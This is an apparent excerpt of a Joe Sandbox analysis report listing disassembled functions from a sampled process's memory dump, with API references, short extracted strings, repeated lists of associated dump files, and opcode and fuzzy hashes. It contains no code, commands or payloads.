RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 003985B4

Strings

_^]\, xrefs: 00398A15
LF7Y, xrefs: 00398951

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: LF7Y$_^]\
API String ID: 237503144-3688711800
Opcode ID: 158629097105aa7f31b2f5ad9d6d2e50dd151eaf1fcc9c6826118d37062a6211
Instruction ID: 5aadcc776a72cbf3233fae46eed74590504677ded63bbdb75518287789bf3f6c
Opcode Fuzzy Hash: 158629097105aa7f31b2f5ad9d6d2e50dd151eaf1fcc9c6826118d37062a6211
Instruction Fuzzy Hash: A122F271908341CFD7258F28D89072EB7E5FFC6314F1A4A6CE6995B3A1D7319901CB52

Function 003983D8 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 542COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 003984BD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 003985B4

Strings

_^]\, xrefs: 00398A15
LF7Y, xrefs: 00398951

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: LF7Y$_^]\
API String ID: 237503144-3688711800
Opcode ID: fd19180a8c45a8dbba7bdf3d493c9d86ea37cba012b3fe03f5172c4cde9741ed
Instruction ID: d9089ace4b9f872933d6e614805e93151029c469c38de5d305bb10e990f82d82
Opcode Fuzzy Hash: fd19180a8c45a8dbba7bdf3d493c9d86ea37cba012b3fe03f5172c4cde9741ed
Instruction Fuzzy Hash: 8012D071908341CFD7258F28D88071BBBE5FFCA314F1A4A6CEA995B3A1D7359901CB92

Function 003ACDF0 Relevance: 6.9, Strings: 5, Instructions: 697COMMON

Download Yara Rule

Strings

_^]\, xrefs: 003ACE29
fiP, xrefs: 003AD2CF
jiP, xrefs: 003AD301
f, xrefs: 003AD081
_^]\, xrefs: 003AD006

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: InitializeThunk
String ID: _^]\$_^]\$f$fiP$jiP
API String ID: 2994545307-2734853458
Opcode ID: 3dc474cd83faa2788e2cca1174a3c20e278e6801a129f7d7244b21a25e7b9ada
Instruction ID: aad46f56fcadb2351f2a1b813f863130e15dd4976bf84fc42f1a16a2a24a16cc
Opcode Fuzzy Hash: 3dc474cd83faa2788e2cca1174a3c20e278e6801a129f7d7244b21a25e7b9ada
Instruction Fuzzy Hash: 6022E7B160C3419FD71ACF18C890B2EBBE6EBDA314F198A2CE49697795D730D841CB52

Function 003924E0 Relevance: 6.6, Strings: 5, Instructions: 304COMMON

Download Yara Rule

Strings

pCj], xrefs: 00392528
=K0E, xrefs: 00392544
"_,Y, xrefs: 00392530
.[TU, xrefs: 00392538
;GsA, xrefs: 00392520

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: "_,Y$.[TU$;GsA$=K0E$pCj]
API String ID: 0-1171452581
Opcode ID: 053ec5fa9a6dd63bd668ad83bfb74754e3912d1a73f4840689f7306ce9916cee
Instruction ID: 3bd81123137dd94b342ea8a5ed6f5f11034f0cf972a2b3bddf27d1c888a4d9cd
Opcode Fuzzy Hash: 053ec5fa9a6dd63bd668ad83bfb74754e3912d1a73f4840689f7306ce9916cee
Instruction Fuzzy Hash: 519136B1608300ABCB21DF64C891B67B7F5EF95354F19842CF9899B392E374D905C752

Function 00388169 Relevance: 6.5, Strings: 5, Instructions: 299COMMON

Download Yara Rule

Strings

gfff, xrefs: 00388458
SP, xrefs: 00388396
^`/4, xrefs: 003881E1
2h?n, xrefs: 003883A0
7, xrefs: 00388419

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: 2h?n$7$SP$^`/4$gfff
API String ID: 0-3257051659
Opcode ID: 1c18bcfd189d4f094d0dce071c4d32d8dcaf437bbd5a176504180b13c2e43323
Instruction ID: 1641294da3fae0a825578817b28f92322e23eaa0133799c9950f172c89be9cf9
Opcode Fuzzy Hash: 1c18bcfd189d4f094d0dce071c4d32d8dcaf437bbd5a176504180b13c2e43323
Instruction Fuzzy Hash: 9FA157B6A143108BD325CF28C85276FB7E6FBC4318F59CA7DD485DB291EA3889028781

Function 00391340 Relevance: 5.5, Strings: 4, Instructions: 493COMMON

Download Yara Rule

Strings

eb, xrefs: 003916F6
{s, xrefs: 00391520
sp, xrefs: 00391528
9deZ, xrefs: 00391818

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: 9deZ$eb$sp${s
API String ID: 0-3993331145
Opcode ID: 5f300e58fcb1dfa38aeec9f78edde82a1a9484bbe691a2345781517c74028374
Instruction ID: 660b77953321191870d0a9d55c058a4aa91e20988b789a52bf2a055c754bf859
Opcode Fuzzy Hash: 5f300e58fcb1dfa38aeec9f78edde82a1a9484bbe691a2345781517c74028374
Instruction Fuzzy Hash: D4D127B16183058BCB24DF24C89166BB7F2FFD1354F09CA1CE4969B3A0E7789904C742

Function 05D749A8 Relevance: 5.5, Strings: 4, Instructions: 470COMMON

